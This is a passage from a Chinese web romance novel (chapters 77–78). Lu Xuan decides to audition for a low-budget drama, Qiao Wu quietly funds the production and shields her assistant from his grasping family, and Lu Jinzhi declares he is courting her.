这乔总还真是个神人,能把陆宣这小混蛋调教成这样,要是他早听话一点,哪里能多走这么几年弯路。 上完课的陆宣没有立刻去吃饭,而是顺势坐在课室把整个策划书都给翻完了,剧本倒是没有看到详细的,但策划书把整个故事的完整走向都写了出来。 他在努力地独立用自己的视角去评判一部戏好还是不好。 乔梧没有接触过这一行,她都能知道能分辨,他怎么就不能。 这不仅仅是看剧情的问题,还要看这个班子的人是不是专业是不是负责,策划书写得详尽与否,是不是面面俱到,每个细节都不能忽略。 除了剧本,他已经很久很久没有这么认真去对待这种文字型的文件了。 看到最后,他长长舒了口气,心道他果然不是学习这块料,这显然比看剧本还要难得多,一份策划书看得头昏脑涨。 但终于也是,看完了。 这种认知让他从心底冒出一种从未有过的成就感。 在课室冷静了好一会儿,他才缓缓起身去了余修办公室,推开门后径直走到他办公桌前:“完整剧本呢?” 余修抬起头:“想通了?” 陆宣随口应了声。 余修一边去翻抽屉一边道:“还有件事要提醒你,你看策划书上的片酬没?” 说实话,陆宣没怎么在意。 他对待钱这件事一向不怎么敏感,所以看到其他细则后就没去看钱了。 经过余修提醒,他才翻了一眼。 眉梢轻轻扬了扬。 “看到了吧。”余修把剧本放在桌上,“这种新人的小班底没什么钱,大概也是个穷剧组,拿到的钱都放在布景和制作上了,演员片酬很少,这种苦跟你在姜奇老师组里那种可不一样。” 姜奇那种是严格要求和精益求精的压力,生活方面资金是很充足的,不说能抵得上陆家那种消费,但至少能让你舒舒服服睡觉。 但这种小成本剧,可能生活上和工作上都要有压力。 对于陆宣这种人来说更是。 陆宣垂眸看着桌上的剧本,一直没什么动作。 见状余修也不意外,毕竟人家是要给管家买首饰的人:“也不着急,还有其他……” 话没说完,修长的手便把那份剧本拿了过去。 陆宣侧身靠在桌面,像是在笑,又像是在自嘲。 “比五万多就行。” 他现在连五万都不值。 这片酬大概已经是他现在的价值了。 看着陆宣离开,余修好半天才压下去心里的惊讶,拿起电话拨了个号码。 “乔总。” “嗯?” “策划书他看了。”余修说,“剧本也拿走了,他好像对这部戏挺感兴趣,看样子是要试一试,不过他刚拍完姜奇的戏 ,现在去这种名不见经传的小剧组,会不会不太合适?” 电话另一头的乔梧闻言笑了下:“看他自己的选择,如果选了就不用管。” “行。” 余修顿了顿,又玩笑似的问:“乔总,你悄无声息搞了个娱乐公司,总不能跟陆宣没什么关系吧。” 乔梧也很坦然:“有那么一点。” “他在我这儿还有合约呢。” 现在的余修倒是不指望陆宣能给公司带来什么效益了,毕竟谁也做不了这位爷的主,但既然已经来了,而且现在有些水花,自然也不会那么轻易放人走的。 “合约到了再说。”乔梧道。 “那不是还有好长时间。” 余修愣了愣,“你在给他铺路?” 乔梧失笑:“路嘛,铺上了谁都能走,不存在给谁铺,但谁会想多走弯路。” 又说:“合同白纸黑字写着,不会跟你抢人,这事儿也不要跟他说。” 余修心道,我当然不会说。 按照陆宣那性子,现在说了,明天就会收拾铺盖直接入住乔梧那儿。 但听乔梧这么说,他忽然就理解了陆宣提到乔梧时总是那么自豪和维护了,也明白她为什么会被陆家人那么看重有那么高的年薪。 毕竟哪一个管家都做不到这一步,会在很早很早之前,给每一个人都铺垫好未来的路。 他感慨:“做管家要求真高。” 领了工资不仅要搭人进去,还要再搭钱进去。 “不是管家。” 乔梧想了想,笑道:“这是对家人的回馈,毕竟他说了,他是我哥。” 人总是要为了某些东西又舍弃另一部分东西。 她为了这些来之不易的感情,舍弃一些不重要的身外之物,也是应该的。 挂了电话,乔梧看文件的动作却缓了些。 她不会跟GS抢一些已经定下来的资源,那份策划书是很早以前跟陆宣去晚宴时有个年轻女孩递给她的,在一众资源里,这份企划书是最不起眼的,虽然剧本内容有些亮点,但对当时的陆宣也没有任何用处,没有名气没有宣传,能不能完整拍完都是个问题,就算是有人投资,以陆宣当时的演技根本不可能撑得起这份剧本,到最后也逃不过扑的命运,所以她只是暂时留了下来。 现在虽然陆宣有了进步,其实她并不确定陆宣会不会接下那份工作。 实力是其一,耐力是其二。 陆宣跟她说出那句“你别管我了”的话后,她回去想了很久,决定尊重陆宣的选择,所以让余修把这份剧本交给他。 如果陆宣要选择这一份剧本,那他不仅要对自己的演技有足够的认知,也要对即将面对的那些困难心里有数,如果这些他都能评估下来并且接下,她不会阻拦。 要是仅仅为了证明他不需要她的助力,那他就走错这步路了。 因此乔梧的确没有太摸得清现在的陆宣是什么想法,打算回去以后再问问。 她敛好心绪,注意力重新投入工作里,把工作上的事情都解决完后下楼打算下班。 看了眼手机,今天陆尽之终于要加班,不守在门口了。 她一边给司机打电话,但才经过一个办公室时,忽然被一声什么东西砸在地上的脆响给惊到。 郭力言的办公室。 她停下脚步扭头看去,从被百叶帘遮挡的玻璃缝隙中可以看到里面站着四个人。 其中一个是郭力言,他的脸被玻璃划伤,另外三个站在他的对面,衣着得体趾高气昂,眉眼间跟郭力言还有几分相似。 郭力言的家庭情况她大概了解,却没想到这家人敢找到这里来。 乔梧往前走了两步,轻轻转动门把手,听到了里面的谈话。 现在说话那人应该是郭力言的父亲,气得声音都在发抖:“翅膀硬了,我们让你干什么了!让你向乔理事长引荐一下你哥!你倒好,现在连家都不回,要是我们不找到这里,你是不是还不认我这个爹了!郭家怎么会生出你这么个白眼狼!” 乔梧无声笑笑。 原来是这样。 她哪里不知道这些人打的什么主意,估摸这在郭力言那里吃了不少亏才找到了基金会。 郭父:“你不是说乔理事长不怎么来公司基金会?我们今天就守在这里,她什么时候来我们什么时候走!” 里面的郭力言看都没看地上的狼藉,他好不容易才走到今天这一步,能稳稳当当在乔梧身边有自己的一席之地,怎么可能会让这些人毁了他。 也不能让他们见到乔梧。 他把窗户都遮挡了起来,就挡在门口,盘算着什么时候乔梧该下班离开,也不让这些人踏出他的办公室一步。 但刚才声音有点大了,她会不会听见。 郭力言很轻的皱了下眉。 郭阳洲见他被砸了脸还挡在那,气不打一处来:“让开。” 郭力言狠了狠心,抬起头:“不让。” 他扫了一眼所谓的父母家人,冷声道:“你们今天闹到这里来,不仅不能见到她,还会影响我,但凡这事儿闹到她面前,我明天就上交辞职信。” “你疯了!”郭阳洲一把抓住他的衣领,“你到底还记不记得自己姓什么,这么做对你有什么好处!” 郭力言听笑了:“郭阳洲,你不会以为姓郭是你们对我的恩赐吧。” “我看你是不见棺材不落泪!” 被打开缝隙的门砰的一声又被关上。 郭力言的声音隔着一道门传出来,里面的人瞬间安静下来。 郭力言愣了一下,他记得门是关上的,怎么会有这种声音。 像是印证了他的想法,外面忽然传来不徐不疾地敲门声,乔梧冷静温和的声音在一门之隔传进来。 “郭助,开门。” 另外三人顿时面露喜色。 只有郭力言脸色突然变得灰白。 第77章 第七十七章二更 乔梧站在门口耐心地等着,听到门后一阵响动。 门再次被打开时,挤在门口的是郭力言的父母和哥 哥,而原本在门后的郭力言被三人齐齐拉扯到后面去,踩在一次的碎玻璃和水渍上,看过来时眼神很沉。 跟在乔梧身边工作这么多天,郭力言清楚她是什么样的性格,说一不二,在做每一件事之前心里都有自己的计较,所以不会被一些片面的事情给蒙蔽眼睛。 当初招他进来时也说过不介意他是郭家的人。 但前提是,他没有给她带来任何麻烦。 郭力言没想到郭阳洲他们会找到公司来,自从上一次拒绝他们来见乔梧后,他就没有再回去住过了。 偏偏就挑在乔梧在公司的时候,他好像的确该上交辞职信了。 郭父看到乔梧时眼睛骤亮,第一次看到真人,比新闻上的还要明媚很多,也很有气质。 他们是起心来攀附陆家,但以现在郭家的处境要见到陆尽之一面太难,只能退而求其次找到乔梧身上,乔梧手段了得,如今坐到基金会理事长的位置,肯定也很有实力。 但归根结底来说,她并不是陆家的主人。 以他们自己的眼界来看,基金会虽然在陆氏名下,但终究是公益性质,所以她除了工资,在其他方面并没有陆氏总部的福利。 再者乔梧还是陆家的管家,是陆尽之的朋友,地位不低,却也没有到极致的高,正好是他们可以接触到的那一类人,这才一直想通过郭力言来结识乔梧。 只是那个不开窍的蠢货,居然还玩离家出走不回消息这一套,那就只能他们亲自来了。 如今看到乔梧本人,郭父立刻跟郭阳洲对视一眼,两人心下都有了计较。 郭阳洲如今还没有结婚,他们一直在挑门当户对可以给郭家带来助益的联姻对象,而现在面前不就有一个现成的吗。 乔梧在陆家是管家,但郭阳洲是郭家名正言顺的继承人,只要嫁到郭家去,以后她就是郭家的女主人。 凭借她的能力和她跟陆家的关系,还愁攀附不上陆家么。 郭阳洲心顿时都痒了起来,脸上挂着笑:“乔理事长,我叫郭阳洲,是郭力言的大哥,之前听说你对他很照顾,所以一直想来拜访感谢一些你,但他年纪小不懂事,一直没让我们有这个机会,今天好不容易遇到,我们认识一下?我听说过你的名字很久了,一直很仰慕……” 话没说完他就见乔梧越过他,直接看向了他们身后:“郭助,过来。” 几人脸色凝了一瞬。 郭力言也没想到再一次的狼狈会被乔梧看见,他在原地迟疑了一下,但想到明天就要上交辞职信了,好像也没什么机会了,所以还是走到了她身边。 然后他听到乔梧笑问:“怎么不叫保安?” “不是!”听到这话的郭阳洲急了,“我们是他的家人,叫什么保安!” “郭先生。”乔梧这才将视线挪到他身上,淡声道,“这里是我们工作的地方,郭力言是我的助理,有任何要拜访或是合作的需要提前通过他来预约我的时间。” 郭阳洲没明白她的意思,顺着她的话:“是这样没错,但他一直没让我们见你。” 闻言乔梧轻笑:“那就不该见。” “……什么?” “我每天有很多工作,不是每一个想见我的人都能见,筛选这些人的工作就是他的本职,既然在他看来我没有必要见你们,那我为什么要见?” 这一通话下来,直接把门口的三人整不会了。 他们看采访或是新闻,都觉得乔梧是个脾气很好的人,却没想到她会用温和的语气说出这么直白的话来。 郭阳洲脸色挂不住:“我是他的大哥。” “抱歉,虽然有点冒昧,但是……”乔梧轻轻歪头,“关我什么事?” 她扫了这办公室的狼藉一眼:“这里是公司,你们有什么家事也该去你们自己家谈,这些坏掉的器具我会让人理出赔偿清单寄到贵府。” 今天是一家人都出面了,以往这种时候不管是什么局面至少不会让他们太难堪,但对方一个理事长就让他们这么没面子,还这副油盐不进的样子,郭父觉得自己像是被人狠狠打了一巴掌。 他走上前:“乔理事长,我们是出于力言的家人来看望感谢你,你不至于这么说话吧。” 乔梧又笑了,可是却没第一时间去接他的话,而是看向郭力言:“他能代表你吗?” “不。” “你看。”乔梧对郭父道,“你可能不知道当初我招他做助理的原因是什么,是在我看来他在你家吃过苦受过罪放得下身段也拿得起勇气,并不是因为你们,所以我并不理解你说的代替他来感谢我是什么意思。” 三人没想到郭力言这种话也往外说,震怒地看着郭力言。 “对他而言,来我身边工作,姓郭是他的减分项。”乔梧往前走了一步,“所以你们出现在这里,并不能借他的名义从我这里讨到什么好处,相反的,我还会因此厌恶他而辞掉他,你们不明白吗?” 这么多年以来,还是第一次要有人在郭父面前说他是儿子的减分项。 简直是个笑话。 他铁青着脸:“你也只是帮陆家做事的人而已,自认什么清高?” “清不清高。”乔梧莫名地看他,带着几分嘲意,“你大儿子不也还说仰慕我么?” 也难怪他们只能走到这一步,随便几句话就能破防的人,能好到哪里去。 “给你五分钟时间。”乔梧睨了郭力言一眼,“解决完来我办公室,不然明天不用来上班了。” 郭力言花了三秒去理解她的意思,好像是还能继续待下去? 他轻轻眨了下眼:“好。” 乔梧没再看其余的人,又转身回来办公室。 途中手机忽然响了下,拿起来一看,发现是陆尽之发来的。 陆尽之:“我在停车场等你。” 又来! 乔梧纳闷,这年头总裁都这么闲? 她低头打字:“你今天不是加班?” 再这么下去,家里司机都要失业了。 陆尽之:“工作可以回家做,人只能现在接。” 陆总很会平衡两者的轻重。 乔梧:“……” 乔梧:“等着,耽误几分钟。” 陆尽之:“不急。” 将手机放下,他顺便拿出电脑开始加班。 乔梧给司机发了条消息让他先回去,而后又在办公室坐了下来,她原本是打算直接回家的,但看郭力言的样子,怕是已经给自己想好退路了。 但对她来说,一码归一码,她不会把一个人的本质和这个人的环境结合在一起。 所以花个几分钟给员工做个心理培训,对以后的工作也有帮助。 可她才坐下,办公室的门就被人敲响了,原本以为是郭力言,却没想到会是陆宣。 乔梧愣了下:“你怎么来了?” “路过。”陆宣这是第一次来到基金会公司,也是第一次看到乔梧的办公室。 明明晃晃,桌面收拾得很干净,也摆放着一些资料合同。 比上一次在集团总部的,他还要看不懂。 也比他手上拿的那些文件,要晦涩细节得多。 他是直接从郭力言那边绕过来的,自然也在后面听了全程。 郭力言这人他有印象,当初给陆应池打电话时乔梧还不认识这个人,只说她并不讨厌为了目的想方设法的人。 但现在郭力言已经站在了乔梧身边,得到了她的维护。 虽然那些人表面说着乔梧如何,但实际上乔梧依旧是他们绞尽脑汁也攀不到的人,所以哪怕乔梧不打开那个房间门,不跟那些人见面也完全可行。 她之所以推门进去说那些话,是要给郭力言底气。 这就是她对自己人的纵容。 是她众多偏向里的一种。 陆宣总觉得自己一直在朝乔梧看,可对方却同时看向了很多人,他一直争啊争抢啊抢 ,却唯独忽略了乔梧对他的纵容是因为他是陆宣。 而对其他人的纵容是因为认可。 他有些害怕,害怕哪一天陆宣这个名字也不被认可。 可他再回头一看,发现自己也仅仅只是陆宣而已。 这才是真正让他惶恐的地方。 他敛下复杂的心绪,将一直拿在手里的文件递过去:“我要去试镜这个一番男主。” “嗯。”乔梧点头,“余修跟我说了。” 陆宣并不意外,相反却忍不住自嘲。 就像姜奇说的,这就是在托孤。 他望着她:“你有什么意见?” 乔梧轻轻摇头:“我想知道你是什么想法。” “你没决定么?” 乔梧失笑:“说了让你做主,当然是以你的考虑为先,我想知道你为什么要做这个决定?” 以他为先…… 陆宣轻轻舔了下唇,也不禁坐直了身体。 “内容还行。”他说,“不是大制作,竞争一番有希望,主角人设没那么深刻,还能驾驭,透明班底原创剧本不会有太多争议,观众的期待感也不会拉得很高,有容错空间。” 乔梧稍显意外。 这些都是过去她跟陆宣的表演老师以及余修给他商量发展规划时会考虑的东西,当初他参加节目时也用到这些想法,看来他是记在心里了。 这的确是这份策划适合现在阶段陆宣的原因。 好本子,少曝光。 如果能试镜成功,安安静静拍完,等待结果就好,期间不会有铺天盖地的营销。 “弊端呢?”她问。 “最坏的结果无非就是扑得悄无声息。”陆宣显然是早就做好了这种打算,笑了下,“我没指望它能让我一步登天。” 一部成功的剧,除了人和,也讲究天时地利。 做任何事情都是这样。 乔梧有些好奇:“那你指望什么?” 陆宣安静地看了她一会儿,轻声道:“陆尽之从小就觉得我没脑子,其实不只是他,每个人都这么想。” 老头觉得他冥顽不灵,陆柠和陆应池也把他当做笨蛋看待,那些曾经要攀附他的人,以为那些酒精就能成为哄他的成本。 其实他自己也知道,本来他学习也不是那块料,也没有那个本事去嚯嚯家里的公司,有时候他还会分不清甲方乙方谁才会更得利益。 所以他觉得,也还好。 日子也还能混着过。 反正以后也就那样吧,像是看不到头又好像一眼就能看到头。 只有乔梧,只有她一直坚定地认为他是一块璞玉,觉得他能成功。 陆宣顿了下,几可不察地眨了下眼,忍着眼里的涩意。 他垂眸道:“我独立看完了这份策划,觉得它是一件还可以去做的事情,所以就算是失败了,我能从头到尾承担下来,也就不算太笨吧。” 也不算是孟星星口中说的那个,一无所成的废物。 至少还有判断是非的能力。 他吸了吸鼻子:“而且,还不一定试镜得上。” 再怎么小成本,也是个一番呢。 乔梧往前倾身,手搭在桌面,笑问:“那如果真的试镜不上怎么办?” 陆宣身体僵了僵,好半天才抬头:“我不至于…那就算了。” “哭什么。”乔梧扯了张纸巾给他,“我没意见。” 陆宣微愣:“什么?” “我说,我没任何意见,我支持你。”乔梧温声说,“从一开始我就说过,只要你能为自己负责,哪怕不是第一名也很厉害。” 陆宣用纸巾擦了擦眼睛。 忍了忍,却还是没忍住,抿着嘴笑了起来。 他好像终于做对一件事情了。 原来是这种感觉。 顿了顿,又说:“今天很晚了,我们在外面吃饭吧。” 乔梧:“嗯?” “我那片酬,还剩点儿。”陆宣说,“我请你。” 余修说话难听,但他的确没有用自己的钱给乔梧买东西,剩下那些钱买首饰肯定是不行的,但吃顿饭还可以。 就当是庆祝他第一次替自己做了决定,还得到乔梧的肯定了。 他从小就想做到的事情,也算是一个心里里程碑,自然要跟乔梧在一起吃饭。 不带那两个吃饭斗嘴的喇叭和会沾了砒霜的臭嘴。 要是以往,乔梧肯定就同意了。 因为现在的陆宣在主动戒断,吃顿饭是没什么的。 主要是…停车场里还有一个呢。 已经看了十分钟文件的陆尽之时间观念很强,没有收到乔梧要延迟的消息,所以他提前将车窗打开,好让她第一时间看到自己。 只是才打开就听到后面传来几个人说话的声音。 “郭力言是疯了吧!敢跟我要副总的位置!真以为他跟乔梧走得近就什么都能做了?” 三人才被郭力言叫保安从公司赶出来,现在一个个灰溜溜又气急败坏。 “阳洲,如果真的要跟陆家搭上关系,给他一个副总的位置也不是不可以。” “就为了乔梧?”郭阳洲很不甘心,“父亲,再怎么厉害也只是一个理事长,是陆家的管家而已,说不准跟陆尽之的朋友关系也是只说来骗骗媒体的,看她眼高于顶的样子,还真以为我看得上她,她是什么天仙吗谁都喜欢。” 还没等郭父说话,一道悠然含笑的声音从旁边传了出来。 “是啊。” 三人一惊,扭头看去。 只见一辆黑色的迈巴赫的车窗降了下来,一张他们心心念念想要攀附的脸就在车窗里,笑吟吟地看着他们。 但那笑意怎么看都让人不寒而栗。 郭父从来没想过会在停车场里看到陆尽之,愣了下,结结巴巴:“陆…陆总?!” 陆尽之打开车门下车,黑眸扫着眼前的三人,忽然觉得自己讨厌姓郭的也不是没有原因。 他轻轻垂眼笑道:“好像打扰到你们说话了。” 怎么就偏偏让他听见了呢! 郭父觉得手都抖了:“没有!” “嗯,是没有。”陆尽之笑意淡了点,“毕竟只有人才会说话。” 这不拐弯抹角骂他们呢! “陆总,是误会,我们……” “不是来听你们解释的。”陆尽之慢条斯理打断他,“只是有几点给你们澄清一下。” “第一,她的确是天仙。” “第二,我跟她也的确不是朋友。” “第三。”他望向刚才大言不惭的郭阳洲,挑眉笑道,“我喜欢。” 郭阳洲恍惚间还以为自己听错了。 “您说什么?” 陆尽之分外有耐心:“我跟乔梧,是我在追求她的关系。” 这一刻,眼前三人冷汗直接落下。 陆尽之他!!! 他怎么这么自然! 那刚才那些话…… 陆尽之还挺有风度地问:“现在知道你们跟我搭上什么关系了吗?” 什么关系,仇人关系。 完了。 郭父忙拉着郭阳洲道歉:“陆总,我们真不是有心的,对不起对不起。” 陆尽之眼都没抬,发着消息不徐不疾道:“有这个时间,不如回去盘算盘算你那点家当够不够做这几句话的歉礼。” 没几秒,他手机响了一声。 看到消息后他略有些不耐地啧了声,抬眸看着眼前已经吓得呆若木鸡的三人,笑意全然收了起来。 站在三人面前不仅是身高压制,还有居高临下的气势压迫,眼里全是冷然。 这一刻郭家三人才明白怎么陆尽之这么年轻就能在这个位置稳稳坐下,谁都不敢说半句。 他声音淡淡落下:“滚。” 乔梧带着陆宣来到停车场时,陆尽之靠在车旁,几乎是她看过去的瞬间那人就抬起了头,原本有些淡然的神色瞬间散去,勾着很浅的笑。 跟在她身边的陆宣到现在都没反应过来:“我能问一下吗,这只猴怎么又在这儿?” 而且这次也还是他自己开车! 今天他可没喝醉,一滴酒都没沾! 陆尽之更不可能是来接他的! “工作。”乔梧面不改色,“我们喜欢在路上谈工作。” 陆宣皱眉,这黑心的资本家! “去劳动局告他。” “……” 乔梧没理他的碎碎念,正思考着她出钱,大家一起去吃。 才走到陆尽之面前,就听对方问:“你们要一起吃饭?” 来之前乔梧已经给陆尽之发过消息说陆宣过来了,所以她下意识点头。 一旁的陆宣小嘴叭叭:“我没多少钱了,普通餐厅你又吃不惯。” 陆尽之轻描淡写嗯了声。 “也没关系,不用在意我。”他静静地看着乔梧,温声道,“我可以自己再开车回去。” 乔梧觉得这话不太对劲。 下一秒就听陆尽之说:“应该的,毕竟我只是一个追……” 她眼皮一跳,赶紧捂住他的嘴。 陆宣还没听完呢:“追什么?” 乔梧深吸一口气:“追逐梦想的有志青年。” 陆尽之喉间漫出一声轻笑。 第78章 第七十八章文明用猴 最 后陆宣还是花了自己为数不多的片酬余额,生平第一次,请陆尽之那只猴吃了一顿饭。 回家的路上,他陷在后座怀疑人生地盯着前面的两个后脑勺。 虽然一路过来他们都没说话,但他就是有种莫名的直觉,为什么陆尽之说着戒断,却跟乔梧关系越来越好了。 陆尽之需要追逐什么梦想?成为世界首富么。 他绞尽脑汁。 然后恍然,很有这种可能啊! 乔梧说过,不争气她就会找下家,按照陆尽之这种很早以前就偷偷摸摸跟她在藏书楼里暗通款曲的人,心里不一定憋着什么坏。 小时候他就不允许别人碰他的东西,对乔梧肯定也是。 所以他一定是想成为世界首富,来留下乔梧! 啧。 跟陆尽之的梦想比起来,陆宣觉得自己的梦想好像还要现实一点,起码很快就能摸得到。 哈。 让他努力去吧。 陆宣自己把自己想得开心了,接连好几天沉重的心情一扫而光,现在觉得坐在陆尽之的后座上也能接受,心情极好地哼了起来。 车在家门口停下,乔梧先下了车。 然后就看到陆宣绕到陆尽之面前,意味深长地拍了一下他的肩膀:“我祝你成功。” 陆尽之几可不察挑了下眉。 乔梧:“……” 见陆宣以一种看透一切的深沉背影抱着剧本飘回了家里。 她满脸莫名地问:“他说什么呢?” 担心陆宣看出什么来,这一路她都没怎么搭理陆尽之,也没让他做出什么超过分寸的事儿,结果给陆宣整高兴了。 陆尽之把车钥匙交给司机,闻言笑道:“祝我成功,你说他祝什么?” “他要是真知道,你两能在这儿打一架。” 对此陆尽之不置可否,虽然他并不介意家里人知道这些事情,但目前为止这几条没长大的小狗的确很难控制。 “他会自己找到逻辑说服自己。”他似乎并不担心陆宣会想到什么,而且轻描淡写地说,“不要试图跟不同的物种共情。” 乔梧觉得他好像还真有几分道理。 “谁说你不了解他们的。”她说,“这不是挺懂么。” “习惯了。”陆尽之跟她一起往门口走。 临进门,乔梧忽然想起什么:“我之前答应过陆柠等她期末考完会带她出去旅行,过完年需要再去一趟河前村,所以旅行是年前的计划,大概会腾出五天的时间,在此之前你有什么工作需要我提前做好的吗?” 哪怕同时做这么多份工作她也要平衡好工作时间,也不会顾此失彼。 娱乐公司那边有秦天睿暂时坐镇,两人每天都会通过视频开会,没什么大问题。 但基金会这边的公章主要在她手上保管,如果没有特别的需要,她就让郭力言在这边代管。 陆尽之罕见的安静了几秒,被她这种公事公办的态度逗笑:“我以为,你应该问我要不要一起去?” “公司不是年前才放假么。” “但我是老板。”陆尽之饶有兴致地看着她,“现在看你要不要邀请我一起去。” 要是以往乔梧还会跟他客气一下,但现在她觉得不用她开口,陆尽之也会自己把逻辑补齐,要么说是一家人呢。 她好笑:“如果我不邀请,你会不去?” “不会。”陆尽之坦然,“但意义不一样。” “一样。”乔梧不惯着他的毛病,“这是家庭旅行,陆应池也会去。” 没有得到预想的答案,陆尽之现在已经接受良好了,他懒声道:“这是去旅行还是去放牧。” 乔梧特别有深意地看了他一眼:“放牧吧。” 眼里的调侃明显得陆尽之想忽略都不行,他弯了弯眸:“我好像真的无可救药了。” 陆柠说他一句,接连骑了好多天的四轮车。 但乔梧说他一句,他竟然也会觉得这是一种亲密的表现,会觉得可爱。 听出他未言之意,防止他又说什么骚话,乔梧转身就走:“喝点中药调理调理。” 为了在所有人考完试之前把自己手里的工作做完,乔梧连续加了好几天班,才空出时间跟秦天睿一起飞去出了个差,顺便参加一个饭局。 “也要不了这么多钱吧。”去酒店的路上秦天睿翻着策划书,“本来就是个小制作,哪有资本家像你这样多给人钱的?” 乔梧:“多出来的部分属于我个人友情赞助。” 秦天睿侧头看她,轻嗤:“你真把他当儿子养了。” 要去的这个饭局,是几个刚毕业的大学生自己组的制作班底,也就是陆宣刚刚试镜成功的一番男主那个剧组,乔梧一早就想好了要给这几个新人投资。 每天饱受秦敛压榨的秦天睿很难理解,怎么乔梧这种跟人没有血缘关系的,就这么勤勤恳恳地把自己所有的底牌都交出去,在背后默默无闻的。 所以秦天睿觉得自己嫉妒陆家这几兄弟完全合情合理,怎么什么好事儿都让他们遇到了。 他将策划书合上,眼不见心不烦:“他自己选的,你管他吃糠咽菜呢。” “要是从亦要去山里做地质勘察,身无分文,你会怎么办?” “让她死那儿。”秦天睿黑着脸,“她怎么可能会没钱,而且这种性质能一样?” “一样。”乔梧笑着说,“你们允许她满世界乱跑,不就是因为提前给了她安全的底气么,对我来说也是一样的。” 在乔梧看来,有些苦可以吃,有些苦是没必要吃的。 陆宣可以靠着自己去闯去提升自己的演技实力,靠自己得到一个机会,承担这个这个项目带来的一切效应,那就足够了。 至于剧组盒饭多加一个菜、入住酒店多上一颗钻、道具多些精细安全,这些则是次要的。 所以她不介意锦上添花一手。 只是没有必要给陆宣知道,她只是作为一个局外的投资人而已。 很快两人就来到了跟剧组越好的酒店,包间里已经坐满了一整个组的主创。 见到乔梧和秦天睿过来,每个人都有些拘谨:“乔总,秦总。” “坐吧。”乔梧看向最中间那人,“林窕导演?” 林窕有些抑制不住地激动,居然被人叫导演了欸! “是我。”林窕跟她握手,脸上还挂着些初入社会的天真,“乔总,没想到您还记得我。” 上一次混进晚宴,她其实是想给自己找个机会,找一个投资人的。 但没想到谁都不会多看她一眼,所有人的关注点都在沙发上那个醉倒的陆家少爷身上,以及陆少爷身边那个年轻女人。 那种人林窕是想都不敢想自己能靠近的。 可让她没想到的是,乔梧居然靠着自己一个人把所有藏着花花心思的人全给打发了,就那么神色自若地坐在沙发上翻看那些到手的剧本和策划,看得还很认真。 所以她迟疑了很久,怀着孤注一掷的心态主动上前,在众多策划中递上了自己的那一份。 原本一直没得到消息,她以为这份策划也要不了了之。 直到不久前接到了乔梧的电话,乔梧愿意投资。 这对于她们这个小班底来说,已经是天降的好运了。 乔梧坐下后,见所有人都不太自然,便道:“我能看看陆宣的试镜视频吗?” 这些林窕她们早就准备好了,立刻把电脑拿出来递到乔梧面前,林窕十分不好意思:“陆老师的演技已经提升很多了,而且……形象挺符合的,您怎么就只给一个试镜条件的要求呢?” 他们虽然是新人,但因为剧本是自己花了心血写出来的,所以也有一定的要求。 当初找人投资就只是投资,没有要人花钱往剧组里塞主角的意思,最多也就塞个小配角,也因此才被很多人拒绝。 但都是些很轴很固执的追梦年轻人,愣是死也不回头,都开始每天蹲在电影学院找那种合适的学生了。 没想到后来乔梧投资 的唯一要求,就只是给陆宣一个试镜机会,仅仅是机会而已,成功与否全让他们自己做主。 “我投资不做亏本买卖。”乔梧看着视频笑道,“要是他演技很差你们还把他选上了,我也会让他走人。” 所有人:“……” 一时之间居然不知道您站在谁那边。 乔梧上一次看陆宣演戏是他上综艺的时候,哪怕是最后得到了进步奖,他的演技还是有些生涩。 但在姜奇身边磨练这些日子,他提升更大了。 哪怕没有穿戏服,也能从他的眼神里看出戏的内容。 林窕这种小剧组,请不到多大的腕,来试镜的多半也都是些新人或是网红,所以结合外形和演技条件,陆宣的确是很合适的人选。 乔梧这才放下心:“希望我们合作愉快。” “除了你们的合同外,我这边多拟了一份合同,是我私人的。”她从秦天睿手里拿过那份被蛐蛐了很久合同,“这份是我私人给你们整个剧组的生活赞助。” 所有人顿时一惊。 才出社会的大学生,眼神十分清澈,脑子也是。 “乔总!”林窕忙道,“您是不是误会了,我们原本的合同里就包含了剧组和演员的生活经费。” “不是。”乔梧将合同递到她面前,“之前跟你们达成共识的,是基于商人角度给你们的最大让步,参与分成,但这份不会参与。” 林窕翻看合同,一条一条往下读。 但其实最显眼的,就是最前面那几条。 “一,保证演员陆宣在剧组期间被公平对待; 二,保证演员陆宣在剧组期间的生活饮食条件在合理标准……” 都是跟陆宣有关。 像是开小灶,却又不像。 因为所谓的公平对待,就是该吃苦吃苦,该享福享福。 合着这笔钱简直就是白送。 这放在以前她们哪里敢想啊,服装道具都得省着点用,生怕资方觉得要钱要多了。 小半年过去,没人愿意给她们投资,为了这个组她们几乎花光了所有的存款,连带今天这顿饭,都是几人凑着钱来的,发誓一定要给资方一顿体体面面的晚餐。 林窕激动得说不出话来,抱着合同好半天都没想起来签字。 最后直接拿起满满的分酒器对嘴吹:“乔总,我干了,您随意!” 乔梧不喜欢把自己喝得太醉,倒是秦天睿在一声又一声的秦总里迷失了自我,本身就是年纪相仿的一群人,喝到最后就勾肩搭背称兄道弟了。 别人劝都劝不住。 “你知道吧。”秦天睿打着酒嗝,指着乔梧说,“我今天高兴,老子在她面前亲手签的合同,干成了一件正事!算是一洗前耻了!” 乔梧哭笑不得。 她只是觉得秦天睿出面次数多一点,所以把这个机会让给了他,怎么还让他多出优越感来了。 而且怎么还惦记着要在她面前干正事儿的事呢。 “别劝我。”他说,“有她在,我才能喝酒呢,不然我哥要抽我的,我哥的皮带……这么宽这么长。” 顿了顿,他侧过头很哭丧着脸看向乔梧:“你被几十万的皮带打过吗,我现在已经能根据皮带的材质粗细和打在身上的声音,分辨出那款皮带多少钱了,我以前的梦想就是挣很多钱,然后!把全世界的皮带都买了!” 所有人都听得一愣一愣的,还捧着他:“秦总好志向!” 乔梧觉得再待下去,自己也要被这些人同化了,也怕秦天睿来抱着她的腿哭诉秦敛的十大罪状。 她借口走出包间,打算给等在楼下的秦天睿司机打个电话,到点让人过来接人。 两人只要在一起出差,秦天睿就是助理,所以他不会再给自己带多余的人,只能叫司机了。 电话才刚打完,陆尽之的视频电话就过来了。 那头的他应该是才回家,背景是灯光有些昏暗的房间,已经基本断奶,但依旧养在他房间里的呜呜现在很活跃,一个劲往他身上爬。 他垂眸看了一眼那团毛茸茸,微微往后靠,任由它爬到自己的肩膀上,又很熟练地把试图舔他脸的猫嘴给推开。 乔梧看着可羡慕了,她也想让呜呜爬,但奈何陆尽之现在把猫当成了猫质,每次都要去他房间才能享受一会儿。 她酸溜溜道:“能不能珍惜一下它还愿意在你身上的日子。” “臭。”陆尽之丝毫不掩饰自己的嫌弃,“也可以不在。” “那你还把它留在房里,放我房间里去就好了。” 陆尽之想都没想就否决这个建议,缓缓道:“那就套不到呜呜了。” 或许其他人叫的呜呜还有歧义,但陆尽之没有。 